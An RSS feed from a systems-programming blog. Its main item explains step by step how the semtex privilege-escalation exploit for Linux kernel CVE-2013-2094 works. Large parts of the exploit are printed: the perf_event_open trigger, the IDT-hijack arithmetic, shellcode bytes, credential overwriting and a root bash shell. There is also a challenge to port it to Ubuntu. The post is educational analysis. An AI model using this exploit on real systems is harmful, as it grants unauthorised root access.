<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>time to bleed by Joe Damato</title>
	<atom:link href="http://timetobleed.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://timetobleed.com</link>
	<description>technical ramblings from a wanna-be unix dinosaur</description>
	<lastBuildDate>Wed, 24 Jan 2018 20:24:13 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.9.2</generator>
	<item>
		<title>Introducing packagecloud.io</title>
		<link>http://timetobleed.com/introducing-packagecloud-io/</link>
		<pubDate>Mon, 14 Apr 2014 13:53:26 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[systems]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2571</guid>
		<description><![CDATA[packagecloud.io: package repository hosting as a service I&#8217;ve taken a bit of a break from blogging over the past several months in order to focus on a product I&#8217;m building with my friend James that helps to solve a set of problems we&#8217;ve both suffered through many times before: Setting up, managing, securing, and dealing [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/pkgcloud.jpg" height=200 width=450></center></p>
<h2><u><a href="https://packagecloud.io">packagecloud.io</a></u>: package repository hosting as a service</h2>
<p>I&#8217;ve taken a bit of a break from blogging over the past several months in order to focus on a product I&#8217;m building with my friend <a href="http://twitter.com/jamesgolick">James</a> that helps to solve a set of problems we&#8217;ve both suffered through many times before:</p>
<h3>Setting up, managing, securing, and dealing with package repositories that support multiple architectures and linux distributions is painful, time consuming, and error-prone.</h3>
<h2>public launch</h2>
<p>We are publicly launching <a href="https://packagecloud.io">packagecloud.io</a> for the first time today to help ease the pain for hobbyists, devs, and ops people who need to host private RPM (YUM), DEB (APT), RubyGem, Python (PyPI), Node.js (NPM), and Maven registries and repositories for their personal projects, build systems, and internal infrastructure.</p>
<h2>features</h2>
<p>Some of the most exciting features for our initial launch include:</p>
<ul>
<li>GPG signing of repositories</li>
<li>All repositories are served over HTTPS</li>
<li>Support for <b>multiple Linux distributions in a single repository</b></li>
<li>Private repositories</li>
<li>Install scripts to get your repositories up and running quickly and easily</li>
</ul>
<h2>sign up and stay tuned</h2>
<p><a href="https://packagecloud.io/users/new">Sign up</A> today and stay tuned for more to come soon</p>
]]></content:encoded>
			</item>
		<item>
		<title>Available for consulting projects</title>
		<link>http://timetobleed.com/available-for-consulting-projects/</link>
		<pubDate>Mon, 10 Jun 2013 07:10:15 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[debugging]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>
		<category><![CDATA[x86]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2344</guid>
		<description><![CDATA[I am happy to announce that I have launched my consulting company: Sassano Systems and am now available for consulting projects. If you have something that is slow, acting weird, or needs to be redesigned I can help. My specialties are systems programming, debugging, and performance analysis. I build, maintain, and refactor anything written in [&#8230;]]]></description>
				<content:encoded><![CDATA[<p>I am happy to announce that I have launched my consulting company: <a href="http://sassanosystems.com">Sassano Systems</a> and am now available for consulting projects.</p>
<h3>
<p><u>If you have something that is slow, acting weird, or needs to be redesigned I can help.</u></p>
</h3>
<p>My specialties are systems programming, debugging, and performance analysis. I build, maintain, and refactor anything written in C. I find and fix extremely elusive bugs in kernels, drivers, and system libraries. I tweak applications, operating systems, and drivers to get better performance.</p>
<h2>Previous work</h2>
<p>I&#8217;ve worked on a wide range of projects from unraveling and understanding <a href="http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/">recent Linux kernel exploits</a>, to maintaining and extending widely used tracing <a href="http://timetobleed.com/extending-ltrace-to-make-your-rubypythonperlphp-apps-faster/">tools</a>, and even writing <a href="https://github.com/ice799/khial">drivers</a> to help test networking code. I&#8217;ve diagnosed tricky bugs in the Ruby MRI 1.8 <a href="http://timetobleed.com/the-broken-promises-of-mrireeyarv/">virtual machine</a>. I wrote a Ruby MRI 1.8 <a href="https://github.com/ice799/memprof">memory profiler</a> that works by <a href="http://timetobleed.com/rewrite-your-ruby-vm-at-runtime-to-hot-patch-useful-features/">rewriting</a> the Ruby virtual machine <i>while it is running</i>.</p>
<p>I&#8217;ve given talks in the US and internationally about some of the weird things I&#8217;ve seen inside of <a href="http://www.scribd.com/doc/110864103/adventures-in-bug-hunting">computers</a>.</p>
<h2>Specialities</h2>
<ul>
<li>C, x86 assembly, x86_64 assembly</li>
<li>Performance analysis, debugging</li>
<li>Kernels, drivers, debuggers, linkers, loaders, boot loaders</li>
<li>Build toolchains, cross platform build systems</li>
</ul>
<h2>Contact</h2>
<p>To get more information about my rates or how I can help, check out my website at: <a href="http://sassanosystems.com">http://sassanosystems.com</a>.</p>
]]></content:encoded>
			</item>
		<item>
		<title>A closer look at a recent privilege escalation bug in Linux (CVE-2013-2094)</title>
		<link>http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/</link>
		<pubDate>Tue, 21 May 2013 05:29:55 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[systems]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2470</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. This exploit affects CentOS 5 and 6 as well as other Linux distributions. Linux kernel version 2.6.37 to 3.8.9 are affected by [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/treeroot.jpg" alt="" width="213" height="320" /></center><br />
If you enjoy this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
<p>This article is going to explain how a recent <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2094">privilege escalation exploit</a> for the Linux kernel works. This exploit affects CentOS 5 and 6 as well as other Linux distributions. Linux kernel version 2.6.37 to 3.8.9 are affected by this exploit. I will explain this exploit from the kernel side and the userland side to help readers get a better understanding of how exactly it works.</p>
<p><b>I did not write the original exploit and I did not discover this vulnerability. Full credit goes to the original author of the <a href="http://fucksheep.org/~sd/warez/semtex.c">exploit</a>.</b> I don&#8217;t do computer security in any professional capacity, but I do think unraveling exploits is fun and interesting.</p>
<p>First, let&#8217;s start with some helpful background information about a few different things and then I&#8217;ll tie them all together at the end to walk through the exploit itself.</p>
<h2><code>mmap</code> and <code>MAP_FIXED</code></h2>
<p><code>mmap</code> seems to <a href="http://timetobleed.com/digging-out-the-craziest-bug-you-never-heard-about-from-2008-a-linux-threading-regression/">come up</a> quite a bit in my blog posts. If you&#8217;ve never used it before, it is a system call that allows you to map regions of memory into your process&#8217; address space.</p>
<p><code>mmap</code> can take a wide variety of flags. One useful flag is <code>MAP_FIXED</code>. This flag allows you to ask <code>mmap</code> to create a region of memory in your process&#8217; address space starting at a specific address. Of course, this request may fail if another mapping is already present at the address you specify. </p>
<h2>The <code>syscall</code> wrapper function</h2>
<p>Not every system call supported by the Linux kernel has a corresponding wrapper function in <code>glibc</code> (or other library). There are many reasons why this can happen. Sometimes, a new version of a Linux distribution is cut before <code>glibc</code> has been updated to support the new kernel interface. Other times, the <code>glibc</code> team decides for whatever reason that a particular kernel feature will not have a corresponding userland wrapper function exposed.</p>
<p>If you need to call a particular system call for which no wrapper exists in <code>glibc</code>, you can use the generic function <code>syscall</code>.</p>
<p><code>syscall</code> works by allowing the programmer to pass in an arbitrary syscall number and an arbitrary set of arguments that will get passed over to the kernel. Sometimes, you can find a symbolic constant for the syscall number of the syscall you&#8217;d like to call in the <code>unistd.h</code> file for your system architecture.</p>
<p>On 64-bit CentOS 6, the header file <code>/usr/include/asm/unistd_64.h</code> contains lots of useful symbolic constants. For example, the constant for the syscall number for <code>getpid</code> looks something like this:</p>
<p><pre class="prettyprint">
#define __NR_getpid          39
</pre>
</p>
<h2>Interrupt Descriptor Table and <code>sidt</code></h2>
<p>I&#8217;ve written about the interrupt descriptor table (IDT) a <a href="http://timetobleed.com/a-few-things-you-didnt-know-about-signals-in-linux-part-1/">few</a> <a href="http://timetobleed.com/how-a-crazy-gnu-assembler-macro-helps-you-debug-grub-with-gdb/">times</a> before, but all you really need to know is that the IDT is essentially an array of structures that the CPU uses to determine what action to take when an exception or interrupt is raised on the system.</p>
<p>A register called the <code>IDTR</code> on x86 and x86_64 processors stores a structure which describes the length and starting address of the IDT. The format of the data in this register when the CPU is in 64-bit mode can be represented by the following packed structure in C:</p>
<p><pre class="prettyprint">
/* 64bit IDTR structure */
struct {
  uint16_t limit;
  uint64_t addr;
} __attribute__((packed)) idtr;
</pre>
</p>
<p>The value of this register can be stored or loaded with the <code>sidt</code> and <code>lidt</code> instructions, respectively.</p>
<p>The instruction to load a value into the <code>IDTR</code>, <code>lidt</code>, may only be executed by privileged code (in our case, this means kernel code).</p>
<p>The instruction to store the value in the <code>IDTR</code>, <code>sidt</code> may be executed by unprivileged code (in our case, this means userland).</p>
<p>The entries in the <code>IDT</code> array have the following format when the CPU is in 64-bit mode1 :</p>
<p>
<center><img src="http://timetobleed.com/images/idt.png" alt="" /></center>
</p>
<h2>Rewriting the semtex exploit to make it a bit more clear</h2>
<p>I decided to rearrange the <a href="http://fucksheep.org/~sd/warez/semtex.c">original exploit</a> by adding white space, renaming functions, adding lots of comments, and moving some stuff around. I did this to help make the C code a bit more understandable to a beginner.</p>
<p>You can get the rewritten code from github <a href="https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c">here</a>.</p>
<h2>Linux kernel performance monitoring interface</h2>
<p>The Linux kernel provides a set of system calls for performance monitoring. Some of the information about the low level interfaces provided by the kernel can be found <a href="http://web.eece.maine.edu/~vweaver/projects/perf_events/index.html">here</a>.
</p>
<p>In particular, the function <code>perf_event_open</code> can be called by userland code to obtain a file descriptor which allows a program to gather performance information. <code>perf_event_open</code> can eventually call <code>perf_swevent_init</code> which is an internal kernel function that is called when a user program is attempting to initialize a software defined event.</p>
<h2>Buggy increment in the kernel</h2>
<p>Let&#8217;s take a look at the structure definition for the first argument to the <code>perf_event_open</code> function, <code>struct perf_event_attr</code>2:
</p>
<p><pre class="prettyprint">
struct perf_event_attr {
  /*
   * Major type: hardware/software/tracepoint/etc.
   */
  __u32                   type;

  /*
   * Size of the attr structure, for fwd/bwd compat.
   */
  __u32                   size;

  /*
   * Type specific configuration information.
   */
  __u64                   config;

  /* ... */
</pre>
</p>
<p>Notice that the field <code>config</code> is defined as a 64-bit unsigned integer.</p>
<p>Now let&#8217;s take a look at how <code>perf_swevent_init</code> uses the <code>config</code> field:</p>
<p><pre class="prettyprint">
static int perf_swevent_init(struct perf_event *event)
{
  int event_id = event->attr.config;
 
  /* ... */
 
  if (event_id >= PERF_COUNT_SW_MAX)
    return -ENOENT;

  /* ... */
  
  atomic_inc(&perf_swevent_enabled[event_id]);

  /* ... */
</pre>
</p>
<p>This looks bad because the unsigned 64-bit <code>config</code> field is being cast to a signed 32-bit integer. That value is then used as an index to an array called <code>perf_swevent_enabled</code>.</p>
<p>And, so:</p>
<ol>
<li>The user supplies a value for <code>config</code> which has (at least) the 31st bit set to <code>1</code>.</li>
<li>This value is truncated to 32-bits and stored as <code>event_id</code>.</li>
<li>The <code>if</code> statement checks <code>event_id</code> against <code>PERF_COUNT_SW_MAX</code> (which is <code>9</code> on CentOS 6 kernel <code>2.6.32-358.el6.x86_64</code>) to ensure that <code>event_id</code> is less than <code>PERF_COUNT_SW_MAX</code>. Any negative number will be, so execution continues.</li>
<li>The value in <code>event_id</code> is sign extended to 64-bits and then used as an offset into the <code>perf_swevent_enabled</code> array.</li>
<li>Thus, any value interpreted as negative from <code>event_id</code> will cause the kernel to call <code>atomic_inc</code> on a memory address that a user program can control.</li>
</ol>
<h2>Buggy decrement in the kernel</h2>
<p>Let&#8217;s now examine the code which is executed when the file descriptor is closed:</p>
<p><pre class="prettyprint">
static void sw_perf_event_destroy(struct perf_event *event)
{
  u64 event_id = event->attr.config;

  /* ... */
 
  atomic_dec(&perf_swevent_enabled[event_id]);

  /* ... */
</pre>
</p>
<p>This code is interesting because here the value in <code>config</code> is stored as an unsigned 64-bit value and used as an index into <code>perf_swevent_enabled</code>. This code path assumes that the open code path examined above will reject anyone with a config value that is too large.</p>
<p>However, as we saw above, if the user had successfully called <code>perf_event_open</code> with a large 64-bit unsigned value (which was interpreted as a 32-bit negative number) then the close code path will incorrectly offset from the <code>perf_swevent_enabled</code> with a large 64-bit unsigned value.</p>
<p>This allows a user program to cause the kernel to decrement an address that the userland program can control.</p>
<h2>Exploit summary</h2>
<p>
Before I dig into the exploit, let&#8217;s take a step back and summarize what this exploit will do:</p>
<ul>
<li>An initial memory region is allocated with <code>mmap</code> and <code>MAP_FIXED</code> and is used to determine where buggy increments and decrements will land when offset from<code>perf_swevent_enabled</code>.</li>
<li>A memory region is allocated where a NOP sled, a small piece of shellcode, and the malicious C code is copied.</li>
<li>The malicious code is rewritten at runtime to fill in values for the process&#8217; uid and gid as well as the address of the upper 32-bits of the IDT handler for interrupt <code>4</code>.</li>
<li>The upper 32-bits of IDT handler for interrupt <code>4</code> are incremented by crafting a precise value for <code>perf_event_open</code>.</li>
<li>Interrupt <code>4</code> is triggered which executes the shell code and malicious code. The malicious code overwrites the uids and gids as well as the capability sets for the current process.</li>
<li>Once the interrupt handler returns and the exploit continues, it calls <code>setuid</code> to become root and then executes a <code>bash</code> shell as root.</li>
<li>Crazy shit.</li>
</ul>
<h2>Exploit</h2>
<p>The exploit will use these buggy increment and decrement paths to force the kernel to eventually transfer execution to a known userland address that contains malicious code which elevates the credentials of the process allowing it to execute a shell as root.</p>
<h3><u>A wrapper function for calling <code>perf_event_open</code></u></h3>
<p>The exploit contains a function called <code>sheep</code> which uses <code>syscall</code> (as described above) to call <code>perf_event_open</code>. I&#8217;ve renamed <code>sheep</code> in my rewrite to <code>break_perf_event_open</code> and rearranged the code to look like this:</p>
<p><pre class="prettyprint">
static void
break_perf_event_open (uint32_t off) {

  struct perf_event_attr pea = {
    .type   = PERF_TYPE_SOFTWARE,
    .size   = sizeof(struct perf_event_attr),
    .config = off,
    .mmap   = 1,
    .freq   = 1,
  };
                                                                                                                                                                  
  /*
   * there is no wrapper for perf_event_open in glibc (on CentOS 6, at least),
   * so you need to use syscall(2) to call it.
   *
   * I copied the arguments out of the kernel (with the kernel explanation of
   * some of them) here for convenience.
   */
  int fd = syscall(__NR_perf_event_open,
                  &pea,   /* struct perf_event_attr __user *attr_uptr       */
                     0,   /* pid_t              pid       (target pid)      */
                    -1,   /* int                cpu       (target cpu)      */
                    -1,   /* int                group_fd  (group leader fd) */
                    0);   /* unsigned long      flags                       */

  if (fd < 0) {
          perror("perf_event_open");
          exit(EXIT_FAILURE);
  }

  if (close(fd) != 0) {
          perror("close");
          exit(EXIT_FAILURE);
  }

  return;
}
</pre>
</p>
<h3><u>Setting up an initial memory region with <code>mmap</code></u></h3>
<p><pre class="prettyprint">
map = mmap((void *) 0x380000000, 0x010000000,
                PROT_READ | PROT_WRITE,
                MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
                -1,
                0);
</pre>
</p>
<p>The exploit begins by first creation a memory region with <code>mmap</code> at the address <code>0x380000000</code> for a length of <code>0x010000000</code> bytes (256 MB).</p>
<p>The address <code>0x380000000</code> was chosen because:</p>
<ul>
<li>The address of the <code>perf_swevent_enabled</code> array is <code>0xffffffff81f360c0</code>.</li>
<li>If the user passes -1 as <code>config</code> then the offset into the array in the <i>close path</i> will be: <code>0xffffffffffffffff * 4</code> (multiply by 4 we are doing pointer arithmetic on an array of <code>int</code>s).</code></li>
<li>Thus, a decrement will be performed at the address: <code>0x0000000381f360bc</code> for a <code>config</code> value of <code>-1</code>.</li>
<li>Similarly, a decrement will be performed at the address: <code>0x0000000381f360b8</code> for a <code>config</code> value of <code>-2</code>.</li>
</ul>
<p>Thus, a region starting at <code>0x380000000</code> and extending until <code>0x390000000</code> will contain the address that the kernel will write to when decrementing the <code>-1</code> and <code>-2</code> offsets of <code>perf_swevent_enabled</code>.</p>
<p>The exploit then fills this memory region with 0s and calls a function called <code>sheep</code> in the original exploit (aka <code>break_perf_event_open</code> in my rewrite):</p>
<pre class="prettyprint">
  memset(map, 0, SIZE);

  break_perf_event_open(-1);
  break_perf_event_open(-2);
</pre>
</p>
<p>After the above exploit code executes an increment and decrement are performed in the kernel. The decrement lands somewhere on in the memory region allocated above.</p>
<h3><u>Find the offset into the memory region where the write occurred</u></h3>
<p>The exploit continues by iterating over the memory region to find where the decrement landed:
</p>
<p><pre class="prettyprint">
/* this for loop corresponds with lines 66-69 of the original exploit */

for (i = 0; i < SIZE/4; i++) {                                                                                                                             
  uint32_t *tmp = map + i;
  /* 
   * check if map[i] (aka tmp) is non zero.
   * also check if map[i+1] (aka tmp+1) is non zero.
   *
   * if both are non zero that means our calls above
   * break_perf_event_open(-1) and break_perf_event_open(-2) have
   * scribbled over memory this process allocated with mmap.
   */
  if (*tmp &#038;&#038; *(tmp + 1)) {
          break;
  }
}
</pre>
</p>
<h3><u>Retrieving the value of the <code>IDTR</code> and creating another memory region</u></h3>
<p>The exploit continues by:</p>
<ul>
<li>Retrieving the value stored in the <code>IDTR</code> with <code>sidt</code></li>
<li>Masking the upper 32 bits and the lower 24 bits of the 64-bit <code>IDT</code> base address away</li>
<li>Allocating a memory region starting at the adjusted address</li>
</ul>
<pre class="prettyprint">
  /* this instruction and the subsequent mask correspond to lines 71-72 in
   * the original exploit.
   */
  asm volatile ("sidt %0" : "=m" (idt));
  kbase = idt.addr & 0xff000000;
  
  /* allocate KSIZE bytes at address kbase */
  code = mmap((void *) kbase, KSIZE,
                  PROT_READ | PROT_WRITE | PROT_EXEC,
                  MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE,
                  -1,
                  0);
</pre>
</p>
<p>
This is the memory region to which the kernel will transfer control. I will explain soon how execution will be transferred to this address and why the <code>0xff000000</code> bitmask was applied.
</p>
<h3><u>Preparing the target memory region</u></h3>
<p>
The exploit now prepares the memory region:</p>
<ul>
<li>The memory region is filled with the value <code>0x90</code> which is the opcode for the NOP instruction (See the wikipedia page about the <a href="http://en.wikipedia.org/wiki/NOP_slide">NOP sled</a> for more information).</li>
<li>The malicious code from the function <code>fuck</code> (renamed to <code>fix_idt_and_overwrite_creds</code>) is copied into the memory region after a healthy sized NOP sled.</li>
<li>A small shellcode stub (that we will examine shortly) is prepared and copied into the memory region just before the malicious code.</li>
</ul>
<pre class="prettyprint">
  /*
   * fill the region of memory we just mapped with 0x90 which is the x86
   * NOP instruction.
   */
  memset(code, 0x90, KSIZE);

  /* move the code pointer up to the start of the last 1024 bytes of the                                                                                     
   * mapped region.
   *
   * this leaves (32 megabytes - 1024 bytes) of NOP instructions in
   * memory.
   */
  code += (KSIZE-1024);

  /* copy the code for the function above to the memory region */
  memcpy(code, &fix_idt_and_overwrite_creds, 1024);

  /* copy our shell code just before the code above */
  memcpy(code - shellcode_sz, shellcode, shellcode_sz);
</pre>
</p>
<h3><u>A closer look at the malicious code</u></h3>
<p>Before we can examine the rest of the exploit, we'll first need to understand the malicious code that is copied into the memory region.</p>
<p>The malicious code, originally called <code>fuck</code>, but renamed to <code>fix_idt_and_overwrite_creds</code> has a few goals:</p>
<ul>
<li>Restore as much of the overwritten kernel data as possible or at least enough for the kernel to continue (mostly) working.</li>
<li>Find the kernel data structure that lives at the start of the kernel stack. This is a <code>struct thread_info</code>.</li>
<li>Find the pointer in <code>struct thread_info</code> to the current <code>struct task_struct</code>. This should be easy once the <code>struct thread_info</code> is located, as it is the first field in <code>struct thread_info</code>.</li>
<li>Find the <code>struct cred</code> pointer in the current <code>struct task_struct</code>.</li>
<li>Overwrite the various uids and gids as well as the <a href="https://www.kernel.org/pub/linux/libs/security/linux-privs/kernel-2.2/capfaq-0.2.txt">kernel_cap_t</a> fields.</li>
</ul>
<p>The original exploit code for this is a bit painful to read. In my rewritten exploit I added a lot of comments to the code to help explain how each of these goals is accomplished.</p>
<p><b>Take a look at the code <a href="https://github.com/realtalk/cve-2013-2094/blob/master/rewritten_semtex.c#L56-L201">here</a></b>.
</p>
<h3><u>Cleaning up after itself</u></h3>
<p>One of the first things that <code>fuck</code> (aka <code>fix_idt_and_overwrite_creds</code>) does is fix the upper 32-bits of the IDT handler offset for software interrupt <code>4</code>, by doing this:</p>
<p><pre class="prettyprint">
/* This marker will eventually be replaced by the address of the upper 32-bits
 * of the IDT handler address we are overwiting.
 *
 * Thus, the write on the following line to -1 will restore the original value
 * of the IDT entry which we will overwrite 
 */
uint32_t *fixptr = (void*) GENERATE_MARKER(1);
*fixptr = -1;
</pre>
</p>
<h3><u>Locating the uids and gids</u></h3>
<p>The most interesting part of this malicious code (for me, at least) is how exactly it locates the uids and gids that need to be overwritten.</p>
<p>You'll notice that in the <code>main</code> function of the exploit, the exploit has the following code:</p>
<p><pre class="prettyprint">
/* get the current userid and groupids */
u = getuid();
g = getgid();

/* set all user ids and group ids to be the same, this will help find this
 * process' credential structure later.
 */
setresuid(u, u, u);
setresgid(g, g, g);
</pre>
</p>
<p>This code ensures that all the uids and gids are set to the current uid and gid. This is done so that the malicious code that executes later can search memory for a sequence of uids and gids and "know" that it has found the right place to begin overwriting data.</p>
<p>Another interesting thing to note about the malicious code is that it gets <i>modified</i> at runtime after it has been copied to the memory region described above.</p>
<h3><u>Rewriting parts of the malicious code at runtime</u></h3>
<p>The malicious code needs to be overwritten at runtime after it has been copied to the memory region to which control will be transfered for two main reasons:</p>
<ol>
<li>At compile time the process' uid and gid may not be known.</li>
<li>At compile time the address of any overwritten kernel state my not be known. As we will soon see, this overwritten state is part of the <code>IDT</code> handler offset for a particular software interrupt.</li>
</ol>
<p>In order to accomplish these goals, you will notice that the <code>fuck</code> function (or <code>fix_idt_and_overwrite_creds</code>) has a series of "markers" in place:</p>
<p><pre class="prettyprint">
  /* create a few markers which will be filled in with the
   * ((group id << 32) | user id) later by the exploit.
   */
  uint64_t uids[4] = {	GENERATE_MARKER(2),
			GENERATE_MARKER(3),
			GENERATE_MARKER(4),
			GENERATE_MARKER(5)
  };
  
  /* ... */

  uint32_t *fixptr = (void*) GENERATE_MARKER(1);
</pre>
</p>
<p>These values are simply unique enough bit patterns that can be located later and overwritten.</p>
<p>The <code>main</code> function of the exploit takes care of that by doing this:</p>
<p><pre class="prettyprint">
for (j = 5; j > 0; j--) {
  /* generate marker values */
  needle = GENERATE_MARKER(j);
  
  /* find marker values in the malicious code copied to our memory
   * region
   */
  p = memmem(code, 1024, &needle, 8);
  if (!p) {
      fprintf(stderr, "couldn't find the marker values (this is"
                      "bad)\n");
      break;
  }
  
  if (j > 1) {
    /* marker values [2 - 5] will be replaced with the uid/gid of this process */
    *p = ((g << 32) | u);
  } else {                                                                                                                                                      
    /* marker value 1 will be replaced with the offset of the IDT handler we will
     * highjack. this address will be used to restore the overwritten state later.
     */
    *p = idt.addr + 0x48;
  }
}
</pre>
</p>
<h3><u>Incrementing the address of an IDT handler</u></h3>
<p>Now, everything is in place. It is time for the exploit to connect all the pieces together before triggering the malicious code and executing a root shell.</p>
<p>The last piece of the puzzle was pretty interesting for me as this was my first time seeing this attack vector, but after I understood what was happening and did some googling I located a <a href="http://www.phrack.org/issues.html?issue=64&#038;id=6#article">phrack</a> article from 2007 that explains this attack vector.</p>
<p>This exploit works by incrementing the upper 32-bits of a 64-bit IDT entry's handler offset (check the screenshot from the Intel manual above). The IDT entry for the overflow exception was chosen, software interrupt <code>4</code>, because it is not particularly important and can be temporarily "borrowed" by this exploit.</p>
<p>Since the overflow exception's handler is located in kernel memory, the upper 32-bits of the 64-bit handler offset are <code>0xffffffff</code>. Incrementing <code>0xffffffff</code> causes an overflow to <code>0x00000000</code> and thus the 64-bit IDT handler's offset goes from <code>0xffffffff[lower 32bits]</code> to <code>0x00000000[lower 32bits]</code>.</p>
<p>Or in other words, changing the top 32-bits of the address to <code>0</code> changes the address from a location in kernel memory to a location that can be mapped with <code>mmap</code> and <code>MAP_FIXED</code>.</p>
<p>This is why the IDT's base address was masked earlier in the exploit like this:</p>
<p><pre class="prettyprint">
/*
 * the "sidt" instruction retrieves the base Interrupt Descriptor Table 
 *
 * this instruction and the subsequent mask correspond to lines 71-72 in
 * the original exploit.
 */

asm volatile ("sidt %0" : "=m" (idt)&#41;;
kbase = idt.addr & 0xff000000;
</pre>
</p>
<p>The actual increment happens when the following code executes:</p>
<p><pre class="prettyprint">
break_perf_event_open(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
</pre>
</p>
<p>This code is just doing some tricky arithmetic to calculate the value that must be passed to the buggy kernel increment path in order to increment the upper 32-bits of the 64-bit IDT handler for software interrupt <code>4</code></p>
<h3><u>Triggering the exploit</u></h3>
<p>Now that everything is hooked in, triggering the exploit is simple:</p>
<p><pre class="prettyprint">
/*
 * trigger the highjacked interrupt handler
 */
asm volatile("int $0x4");
</pre>
</p>
<p>This raises the interrupt causing the CPU to transfer control to the (modified) IDT handler address which is actually just the memory region we created above and copied <code>NOP</code>s, shellcode, and malicious C code into.</p>
<p>After the <code>NOP</code>s execute, the shellcode executes:</p>
<pre class="prettyprint">
static char shellcode[] = "\x0f\x01\xf8"       /*  swapgs                    */
                          "\xe8\x05\x0\x0\x0"  /*  callq  <shellcode + 0xd>  
                                                *  (this callq transfers
                                                *  exeuction to after this piece
                                                *  of shell code where the
                                                *  fix_idt_and_overwrite_creds
                                                *  function will live
                                                */
                          "\x0f\x01\xf8"       /*  swapgs                    */
                          "\x48\xcf";          /*  iretq$                    */
</pre>
</p>
<p>This shell code:
</p>
<ul>
<li>Swaps in a stored value for the <code>GS</code> register, which the kernel needs for accessing internal data.</li>
<li>Transfers control to our malicious C code (<code>fuck</code>, aka <code>fix_idt_and_overwrite_creds</code>).</li>
<li>After the malicious C code returns, the shellcode continues by swapping the <code>GS</code> register back out.</li>
<li>And finally, it returns to userland with <code>iret</code>.</li>
</ul>
<h3><u>Dat root shell</u></h3>
<p>After the above code executes, the malicious code has been triggered, the uid and gid of the process as well as the capability set have been overwritten. The process can now change its uid to root and execute a shell as root:</p>
<p><pre class="prettyprint">
/*
 * at this point we should be able to set the userid of this process to
 * 0.
 */
if (setuid(0) != 0) {
  perror("setuid");
  exit(EXIT_FAILURE);
}

/*
 * launch bash as uid 0
 */
return execl("/bin/bash", "-sh", NULL);
</pre>
</p>
<p>Easily one of the most insane exploits I've seen, but that isn't saying much since I don't look at exploits all that often.</p>
<h2>Exercise for the reader</h2>
<p>Now that you know how this exploit works, go make it work on a 64-bit Ubuntu. No, seriously, do it.</p>
<h2>Conclusion</h2>
<ul>
<li>Dealing with integers in C code is tricky. Be careful and get people to review your code.</li>
<li>Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.</li>
<li><code>MAP_FIXED</code> is actually much more useful than I had previously imagined.</li>
<li>Hijacking IDT entries to scan kernel memory to find and overwrite kernel data structures to elevate privileges of a user process so it can then execute a bash shell as root is pretty nuts.</li>
<li>Reading exploit code is fun and interesting. You should do it more often than you probably do right now.</li>
<li>I'm tired from writing this much.</li>
</ul>
<p>If you enjoyed this article, <a rel="alternate" type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>References</h2>
<ol class="footnotes"><li id="footnote_0_2470" class="footnote"><a href="http://www.intel.com/Assets/PDF/manual/253668.pdf ">Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3A: System Programming Guide, Part 1, 5.1: Interrupt and Exception Overview</a></li><li id="footnote_1_2470" class="footnote"> /usr/include/linux/perf_event.h line 198 </li></ol>]]></content:encoded>
			</item>
		<item>
		<title>Digging out the craziest bug you never heard about from 2008: a linux threading regression</title>
		<link>http://timetobleed.com/digging-out-the-craziest-bug-you-never-heard-about-from-2008-a-linux-threading-regression/</link>
		<pubDate>Mon, 06 May 2013 11:13:49 +0000</pubDate>
		<dc:creator><![CDATA[Joe Damato]]></dc:creator>
				<category><![CDATA[bugfix]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://timetobleed.com/?p=2359</guid>
		<description><![CDATA[If you enjoy this article, subscribe (via RSS or e-mail) and follow me on twitter. tl;dr This blog post will show how a fix for XFree86 and linuxthreads ended up causing a major threading regression about 7 years after the fix was created. The regression was in pthread_create. Thread creation performed very slowly as the [&#8230;]]]></description>
				<content:encoded><![CDATA[<p><center><img src="http://timetobleed.com/images/digdeep.jpg" alt="" width="400" height="300" /></center><br />
If you enjoy this article, <a type="application/rss+xml" href="http://feeds.feedburner.com/TimeToBleed" rel="alternate">subscribe (via RSS or e-mail)</a> and <a href="http://twitter.com/joedamato">follow me on twitter.</a></p>
<h2>tl;dr</h2>
